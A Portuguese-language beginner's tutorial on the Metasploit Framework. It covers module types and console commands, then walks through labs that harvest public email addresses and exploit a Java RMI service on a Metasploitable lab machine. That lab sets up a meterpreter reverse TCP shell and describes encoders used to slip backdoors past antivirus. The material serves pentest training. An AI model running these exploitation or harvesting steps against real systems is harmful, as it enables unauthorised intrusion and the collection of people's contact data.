Metasploit Framework – Um guia para iniciantes em testes de penetração e desenvolvimento de exploits

Metasploit Framework é uma coleção de exploits, shellcodes, fuzzing tools, payloads, codificadores etc. Além disso, podemos considerá-lo como uma coleção de ferramentas de exploração agrupadas em uma única estrutura. Ele está disponível em todas as principais plataformas Linux, Windows e OS X. Seu principal objetivo é testar as defesas da sua/empresa/organização atacando-as. Algo como “Ataque para Defesa”. Na …

Metasploit Framework é uma coleção de exploits, shellcodes, fuzzing tools, payloads, codificadores etc. Além disso, podemos considerá-lo como uma coleção de ferramentas de exploração agrupadas em uma única estrutura.

Ele está disponível em todas as principais plataformas Linux, Windows e OS X. Seu principal objetivo é testar as defesas da sua/empresa/organização atacando-as. Algo como “Ataque para Defesa”.

Na verdade, é aqui que um testador de penetração/analista de segurança começa a atacar a vítima após um grande reconhecimento. O Metasploit possui uma ampla gama de ferramentas e utilitários para realizar ataques contra todos os sistemas operacionais, incluindo Android e iOS.

Histórico do Metasploit Framework

Metasploit foi escrito pela primeira vez em Perl por HDMoore. Inicialmente, pretendia ser uma estrutura sustentável que automatiza o processo de exploração em vez de verificá-lo manualmente. A primeira versão foi lançada em 2003 e consistia em 8-11 (número exato não tenho certeza) sem exploits.

Em seguida, mais contribuidores colaboraram e contribuíram para isso, uma versão principal foi 2.7 em 2006, que consistia em mais de 150 exploits. Em seguida, uma grande mudança ocorreu na versão 3. Ela foi reprogramada em Ruby e tornou-se multiplataforma.

Além disso, o mais legal é que novos exploits e módulos podem ser baixados e adicionados com facilidade com o lançamento desta versão do Metasploit Framework. Em 2009, a Rapid7 adquiriu o projeto e ainda o possui e o mantém. Ainda assim, agora a arquitetura básica do Metasploit não foi alterada e as versões básicas são gratuitas.

Módulos e Interfaces do Metasploit Framework

Metasploit Framework vem em uma variedade de interfaces

  • msfconsole – Um comando interativo como um shell para fazer todas as tarefas.
  • msfcli – Chama funções msf do próprio terminal/cmd. Não altera o terminal.
  • msfgui – a interface gráfica do usuário do Metasploit Framework.
  • Armitag – Outra ferramenta gráfica escrita em Java para gerenciar o pentest realizado com MSF.
  • Metasploit Community (ou superior) Web Interface – A interface baseada na web fornecida pelo rapid7 para fácil pentesting .
  • CobaltStrike – Mais uma GUI com alguns recursos adicionais para pós-exploração, geração de relatórios, etc.

Módulos do Metasploit Framework

Explorar

Uma exploração é um método pelo qual o invasor tira proveito de uma falha em um sistema, serviço, aplicativo, etc. O invasor geralmente usa isso para fazer algo com o sistema/serviço/aplicativo específico que está atacando e que o desenvolvedor/implementador nunca pretendeu fazer. Tipo como mau uso. Isso é o que um invasor usa para obter acesso a um sistema.

Exploits são sempre acompanhados por payloads

Source: “Metasploit- A pentester’s Guide”

Carga útil

Uma carga útil é o pedaço de código que é executado no sistema explorado com sucesso. Depois que uma exploração funciona com sucesso, a estrutura injeta a carga útil por meio da vulnerabilidade explorada (falha) e a executa no sistema de destino. Assim, um invasor entra no sistema ou pode obter dados do sistema comprometido usando a carga útil.

Auxiliar

Fornece funcionalidade adicional como fuzzing, varredura, reconhecimento, ataque DOS, etc. Varreduras auxiliares para banners ou fuzzes de SOs ou fazem um ataque DOS no alvo. Ele não injeta uma carga útil como exploits. Significa que você não poderá obter acesso a um sistema usando um auxiliar

Fonte: “Mastering Metasploit” da PacktPub

Codificadores

Os codificadores são usados ​​para ofuscar os módulos para evitar a detecção por um mecanismo de proteção, como um antivírus ou um firewall. Isso é amplamente usado quando criamos um backdoor. O backdoor é codificado (mesmo várias vezes) e enviado para a vítima.

Fonte: “Mastering Metasploit” da PacktPub

Shellcode

Shellcode é um conjunto de instruções usadas como carga útil quando ocorre exploração. Shellcode é normalmente escrito em linguagem assembly. Na maioria dos casos, um shell de comando ou um shell Meterpreter será fornecido após a execução da série de instruções pela máquina de destino, daí o nome.

Ouvinte

Um ouvinte escuta as conexões de uma carga útil injetada em um sistema comprometido.

Publicar

Como o nome sugere, esses módulos são usados ​​para pós-exploração. Depois que um sistema é comprometido, podemos nos aprofundar no sistema ou defini-lo como um pivô para atacar outros sistemas usando esses módulos

Nops

Nop é No Operation popularmente conhecido por processadores x86 . Isso está relacionado a instruções de shellcode e linguagem de máquina. Resumidamente, ele evita que um programa (aqui o payload) falhe ao usar instruções de salto em seu shellcode.

Nops meio que faz um loop nas instruções de linguagem de máquina desde o início, se ele cair em um local de memória inválido após emitir uma instrução de salto. Assim, evita que a carga caia. Este é um conceito um tanto avançado e você deve entender a codificação do shell para entender e usar o nops.

Ok, chega de blá blá… Vamos nos divertir um pouco. Por enquanto, vamos prosseguir com um tutorial. Manterei você informado sobre os fundamentos e comandos do msfconsole nas próximas postagens.

Aqui está um breve diagrama de blocos sobre a arquitetura do Metasploit Framework

metasploit
Arquitetura Metasploit

Laboratório 1: Reúna IDs de e-mail publicamente disponíveis nos mecanismos de pesquisa.

Neste laboratório Metasploit Framework, vamos tentar coletar IDs de e-mail de um domínio específico. Aqui utilizamos um módulo auxiliar através do msfconsole.

Etapa 1 : Pré-requisitos: Iniciar e habilitar o serviço PostgreSQL , verificar seu IP, iniciar o serviço Metasploit e msfconsole

Comando:service postgresql start
Comando:update-rc.d postresql enable
Comando: ip a | grep inet
Comando: início do metasploit de serviço
Comando: msfconsole
metasploit
Iniciando serviços e configuração inicial
metasploit
O console MSF

Etapa 2 : siga as etapas iniciais do Metasploit Framework.

Verifique e conecte db ao msfconsole.

Comando:db_status

O comando acima verifica se há uma conexão com o banco de dados. Vou explicar isso em detalhes nos próximos posts.

Se o serviço Metasploit for iniciado corretamente, haverá uma conexão. Caso contrário, abra um novo terminal, inicie o serviço (comando dado acima) e siga estes:

db_connect msf3:msf3@localhost/msf3

Em seguida, verifique o status do banco de dados novamente. Se não for bem-sucedido, não se preocupe, o msf funcionará bem, mas sem uma conexão com o banco de dados e alguns recursos estendidos. Para a solução, verifique a Etapa 2 no link a seguir

Passo 3 : Vamos prosseguir. Existe um módulo auxiliar que reúne todos os IDs de e-mail encontrados publicamente através do site de uma empresa, perfis sociais etc. O módulo funciona pesquisando-os em mecanismos de pesquisa como google, bing e yahoo.

No prompt do msf, digite:

procure email
metasploit
O status do console Msf e do banco de dados
metasploit
Módulos listados após a pesquisa

Isso mostrará uma lista de módulos. Aqui vamos usar um módulo auxiliar: auxiliary/gather/search_email_collector

Digitar:

info auxiliar/gather/search_email_collector

Isso exibe algumas informações sobre o módulo.

metasploit
Informações do módulo

Passo 4: Vamos prosseguir para usar o módulo

use auxiliar/gather/search_email_collector

Então, existem certas opções para este módulo, podemos ver isso usando o seguinte comando

mostrar opções

Vamos procurar IDs do Gmail disponíveis publicamente. portanto, definimos o domínio como Gmail e salvamos a saída em gmails.txt.

definir DOMAIN gmail.com
set OUTFILE /root/gmails.txt <certifique-se de usar o caminho absoluto aqui>
metasploit
Opções de configuração no módulo

Tudo pronto, podemos executar o auxiliar agora, mas é sempre melhor visualizar todas as opções definidas antes de executar.

mostrar opções

O momento da verdade

correr
metasploit
O módulo em execução e exibindo resultados
metasploit
O módulo que mostra os resultados finais

Após a conclusão bem-sucedida, o resultado estará no arquivo que especificamos. Verifique indo para a pasta inicial ou apenas abrindo um novo terminal e digite:

Comando: cat gmails.txt | less <substitua pelo nome do arquivo que você deu>
metasploit

Lendo o arquivo de saída

Pressione q para sair.

Esta é uma demonstração muito básica do Metasploit Framework e feita exclusivamente para iniciantes. Além disso, este módulo é útil para coletar IDs de e-mail de uma empresa durante testes de penetração. Você pode definir a opção de domínio para seu domínio de destino e executar.

O Msfconsole fornece uma interface prática tudo-em-um para quase todas as opções e configurações disponíveis no Framework; é como um balcão único para todos os seus sonhos de exploração. Você pode usar o msfconsole para fazer tudo, incluindo iniciar uma exploração, carregar módulos auxiliares, realizar enumerações, criar ouvintes ou executar exploração em massa em uma rede inteira.

Msfconsole é realmente um shell interativo com o qual você pode trabalhar com a estrutura metasploit de forma dinâmica e fácil. Como dito acima, podemos explorar todas as funcionalidades do framework metasploit com este shell interativo.

O recurso mais surpreendente é que, mesmo que a estrutura principal seja alterada (seja atualizada ou alterada nos módulos), o msfconsole se ajusta dinamicamente com vários recursos, como sistema de ajuda, comando de pesquisa, capacidade de criar e gerenciar usuários, bancos de dados, espaços de trabalho, hosts, vulnerabilidades, etc.

Podemos ver as informações e a documentação de um módulo, ver as cargas correspondentes e, é claro, executar o exploit de maneira interativa e fácil.

Mais alguns termos e conceitos relacionados ao Metasploit e ao MSFConsole

  • Banco de dados: Um banco de dados dedicado para o gerenciamento de informações como hosts, endereços IP, intervalos, vulnerabilidades, etc. Normalmente e de forma útil, podemos criar um novo banco de dados para cada um de nossos projetos de pentesting. O padrão é o postgresql.
  • Usuário do DB: Adivinha só…? O usuário que está usando o banco de dados. Isso se torna muito útil durante a integração com a interface da web.
  • Workspace: Uma espécie de espaço exclusivo para cada projeto. Realmente útil para gerenciar os dados de seus projetos. A criação de um novo projeto na Web-UI cria um novo espaço de trabalho no console.

Para todos esses laboratórios, precisamos de algumas máquinas. Você pode usar VMs ou máquinas físicas. Para a maioria dos laboratórios, estou usando metasploitable. Possui uma série de serviços vulneráveis, feitos exclusivamente para aprender Pentesting. Eu sugiro que você baixe e trabalhe com ele. Configure a rede para que seu Kali Linux Box e o Metasploitable Box estejam na mesma rede.

Opções da Estrutura do Metasploit

Comandos principais

    Descrição do comando
    -------       -----------
    ? menu de ajuda
    voltar Mover para trás do contexto atual
    banner Exiba um banner metasploit incrível
    cd Altere o diretório de trabalho atual
    cor Alternar cor
    conectar-se comunicar com um host
    editar Edite o módulo atual com $VISUAL ou $EDITOR
    sair Sair do console
    get Obtém o valor de uma variável específica do contexto
    getg Obtém o valor de uma variável global
    go_pro Lançamento Metasploit web GUI
    grep Grep a saída de outro comando
    ajuda menu de ajuda
    info Exibe informações sobre um ou mais módulos
    irb Entra no modo de script irb
    jobs Exibe e gerencia trabalhos
    matar matar um trabalho
    load Carregar um plugin de framework
    loadpath Procura e carrega módulos de um caminho
    makerc Salvar comandos inseridos desde o início em um arquivo
    popm Retira o módulo mais recente da pilha e o torna ativo
    anterior Define o módulo carregado anteriormente como o módulo atual
    pushm Empurra o ativo ou a lista de módulos para a pilha de módulos
    sair Sair do console
    reload_all Recarrega todos os módulos de todos os caminhos de módulo definidos
    rename_job Renomear um trabalho
    recurso Executa os comandos armazenados em um arquivo
    route Rotear o tráfego através de uma sessão
    save Salva os armazenamentos de dados ativos
    search Pesquisa nomes e descrições de módulos
    sessões Despeja listas de sessões e exibe informações sobre as sessões
    set Define uma variável específica de contexto para um valor
    setg Define uma variável global para um valor
    show Exibe módulos de um determinado tipo ou todos os módulos
    sleep Não faz nada pelo número especificado de segundos
    spool Grava a saída do console em um arquivo, bem como a tela
    threads Visualize e manipule threads em segundo plano
    descarregar Descarregar um plug-in de estrutura
    unset Desativa uma ou mais variáveis ​​específicas do contexto
    unsetg Desativa uma ou mais variáveis ​​globais
    use Seleciona um módulo pelo nome
    versão Mostra os números de versão da biblioteca do console e do framework


Comandos de back-end do banco de dados Metasploit Framework
 =========================

    Descrição do comando
    -------           -----------
    creds Lista todas as credenciais no banco de dados
    db_connect Conectar a um banco de dados existente
    db_disconnect Desconectar da instância atual do banco de dados
    db_export Exportar um arquivo contendo o conteúdo do banco de dados
    db_import Importar um arquivo de resultado de verificação (o tipo de arquivo será detectado automaticamente)
    db_nmap Executa o nmap e registra a saída automaticamente
    db_rebuild_cache Reconstrói o cache do módulo armazenado no banco de dados
    db_status Mostra o status atual do banco de dados
    hosts Lista todos os hosts no banco de dados
    loot Lista todos os loot no banco de dados
    notes Lista todas as notas no banco de dados
    services Lista todos os serviços no banco de dados
    vulns Lista todas as vulnerabilidades no banco de dados
    espaço de trabalho Alternar entre os espaços de trabalho do banco de dados

Metasploit Framework Lab: configurações iniciais

Agora vamos criar um novo banco de dados, usuário e um espaço de trabalho para nosso novo projeto.

Nota: Se você conhece o msfconsole e já trabalhou com ele antes, prossiga para a Etapa 6.

Etapa 1 : faça uma descoberta de host e execute uma enumeração.

Antes de tudo, temos que identificar os dispositivos presentes na rede e identificar nosso alvo. O processo é fazer um arp scan/nbtscan/netdiscover para descobrir hosts e, em seguida, encontrar serviços abertos. Obviamente, o sistema com muitas portas incomuns abertas é o mais vulnerável.

Descoberta de host: o seguinte envia várias solicitações arp e nos mostra a resposta dos hosts presentes na rede.

Comando: arp-scan 192.168.0.1/24<Enter your network Range>

Identificação de Serviço Simples: O seguinte apenas identifica todas as portas e serviços abertos em todos os hosts presentes na rede.

Comando: nmap -sS 192.168.0.1/24 -v

Limite nosso foco: a partir do resultado acima, escolha seu alvo. Por enquanto, escolhi 192.168.0.104, que tem muitas portas abertas. O comando Nmap a seguir executa uma varredura de script de enumeração automática no destino especificado. Podemos identificar as versões exatas e enumerar os serviços em execução no host usando o seguinte

Comando: nmap -sS -A 192.168.0.104 -vv
Nmap
Escaneamento Nmap

Passo 2 : Enquanto isso, configure msfconsole.

A verificação do script pode levar muito tempo, dependendo das opções que especificamos. O comando acima pode levar de 5 a 10 minutos em média. Enquanto isso, podemos configurar o msfconsole para o nosso projeto. Agora essa etapa não é necessariamente essencial, mas ajuda a manter a organização. Abra um novo terminal e faça o seguinte.

Iniciar serviço: Ignore se estiver ativado na inicialização.

Comando: service postgresql start

Mude para postgress e crie um novo banco de dados e usuário

Comando: su postgress
comando: createuser msfuser1 -P <substitua "msfuser1" pelo seu nome de usuário>

Dê a senha 2 vezes. Aqui eu dei “admin” como senha. Lembre-se de torná-lo complexo se você for sério.

Defina o usuário como superusuário e crie um banco de dados

Comando: createdb msfproj1 --owner=msfuser1 <substitua "msfproj1" pelo nome do seu banco de dados e "msfuser1" pelo seu nome de usuário>
Comando: sair

Iniciar o msfconsole

Comando: msfconsole
msfconsole
Configurações básicas – Iniciando serviços e adicionando banco de dados pgsql e usuário

Etapa 3: conectar-se ao novo usuário e banco de dados no msfconsole e criar um novo espaço de trabalho

Desconecte o banco de dados e o usuário padrão e conecte nosso usuário e banco de dados recém-criados

msf> db_disconnect
msf> db_connect msfuser1:admin@localhost/msfproj1

A sintaxe acima é

db_connect usuário:pass@host/dbname

Se você tiver um erro, consulte a ajuda de db_connect -h. Depois disso, você pode ver o banco de dados sendo preenchido e os caches sendo reconstruídos.

msfconsole
Configurando banco de dados no msfconsole

Para ver o espaço de trabalho atual,

msf> área de trabalho

Adicione um novo espaço de trabalho e mude para ele.

msf> workspace -a newproject <substitua pelo nome desejado>
msf> área de trabalho "novo projeto"
msfconsole
Adicionando espaço de trabalho e alternando para ele

Agora é só conferir tudo.

msf> db_status
msf> área de trabalho

Lembre-se de procurar ajuda se tiver erro dando o comando seguido de “-h”. Se tudo estiver OK, vamos prosseguir.

Passo 4 : Preencha os hosts e serviços para metasploit db.

Este é um dos recursos interessantes do msfconsole. Você pode adicionar hosts, serviços e vulnerabilidades ao banco de dados. Podemos executar o nmap de dentro do msfconsole. Todos os resultados são armazenados no banco de dados também. Vamos vê-lo em ação.

Emita um nmap scan agian dentro do msfconsole. Aqui, a única diferença é que usamos db_nmap em vez do comando regular.

msf> db_nmap -sS 192.168.0.1/24 -vv
nmap
Preenchendo banco de dados com db_nmap

Isso preenche hosts e serviços. Veremos vulns em tutoriais posteriores. Após a conclusão da execução, veja os resultados.

msfconsole
Resultados do nmap

Agora, veja os hosts e serviços atualmente presentes no banco de dados.

msf> hosts
msf> serviços

Chega, vamos ao verdadeiro ataque.

Passo 5 : Identifique um serviço vulnerável.

Agora, esta etapa não é como deveria ser. Não descrevi a análise de vulnerabilidade porque tornaria o post muito longo. Discutiremos esta etapa em detalhes em tutoriais posteriores. Por enquanto exploramos um serviço “java_rmi_server”. Java RMI é Java Remote Method Invocation que permite a conexão entre diferentes objetos java em diferentes hosts. Nosso alvo tem uma versão vulnerável dele. Então vamos apenas explorá-lo.

Mais sobre Java RMI .

Para identificar java_rmi_server, observe o relatório nmap que fizemos primeiro.

msfconsole
O serviço Java RMI em execução na vítima.

Etapa 6 : Pesquise e use o módulo no msfconsole.

msf> pesquisar java_rmi
msf> info exploit/multi/misc/java_rmi_server
msf> use exploit/multi/misc/java_rmi_server
msfconsole
Procurando módulo correspondente
msfconsole
usando o módulo

Agora você pode ver que o prompt mudou. Podemos ver as opções por

>mostrar opções

Defina o RHOST, que é nosso alvo, que está executando o serviço vulnerável.

definir RHOST 192.168.0.104

Lembre-se de definir todas as opções que tenham um valor “SIM obrigatório”. Consulte a tabela de opções. Verifique também se o RPORT também está correto. Verifique o resultado do nmap e a porta atualmente definida e veja se corresponde.

Em seguida, temos que definir todas as opções necessárias e uma carga útil. Primeiro, temos que procurar cargas úteis compatíveis. Todas as cargas podem não ser compatíveis com o módulo atual.

>mostrar cargas úteis

Em seguida, para configurá-lo, copie o caminho e o problema:

> definir PAYLOAD java/meterpreter/reverse_tcp

Meterpreter é uma carga útil de última geração. Podemos nos divertir muito com esta poderosa carga útil. Discutiremos isso mais tarde.

Agora defina o LHOST, que é a máquina para a qual a carga útil deve retornar a conexão. Lembre-se de fornecer o endereço IP completo em vez de localhost ou 127.0.0.1 etc.

definir LHOST 192.168.0.103

Se desejar, você pode alterar a porta de escuta

definir LPORT 4445

Tudo pronto, agora

>explorar
msfconsole
Definindo opções e explorando

Agora que estamos no meterpreter, exploramos com sucesso um serviço e obtivemos acesso à nossa vítima. Há muitas opções que você pode fazer com o meterpreter. Por enquanto vamos tentar comandos simples.

meterpreter> ifconfig
meterpreter>getuid
medidor de interpretação
Interno Meterpreter

Você pode brincar com o meterpreter, tente a seção de ajuda emitindo “ajuda”. Tente você mesmo.

Passo 7 : Faça resumos.

Como este post ficou um pouco longo, incluí uma captura de tela do procedimento muito brevemente.

msfconsole
Processo de Carta
Fique por dentro das nossas novidades e ofertas

Assine a nossa newsletter

Comentários